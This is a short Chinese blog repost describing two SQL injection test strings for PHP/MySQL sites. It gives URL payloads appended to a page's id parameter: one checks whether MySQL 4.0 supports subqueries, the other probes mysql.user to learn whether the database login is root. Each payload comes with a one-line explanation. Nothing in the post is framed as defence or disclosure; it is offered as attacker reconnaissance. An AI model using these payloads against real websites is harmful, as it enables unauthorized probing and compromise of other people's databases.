码迷,mamicode.com
首页 > 数据库 > 详细

PHP mysql注入时两条工具语句

时间:2017-05-31 19:09:36      阅读:251      评论:0      收藏:0      [点我收藏+]

标签:roo   4.0   判断   cal   include   工具   mil   span   查询   

http://***/include/web_content.php?id=589+and+(select+1)=1

这条语句是当mysql版本为4.0的时候用来判断是否支持子查询的,页面返回正确,说明支持子查询,否则不支持。

提交:

http://***/include/web_content.php?id=589+and+(select+1+from+mysql.user+limit+0,1)=1

这条语句是用来判断mysql的当前登录账户是不是root的,如果页面返回正确,则为root,否则不是root

PHP mysql注入时两条工具语句

标签:roo   4.0   判断   cal   include   工具   mil   span   查询   

原文地址:http://www.cnblogs.com/continueFe/p/6925107.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!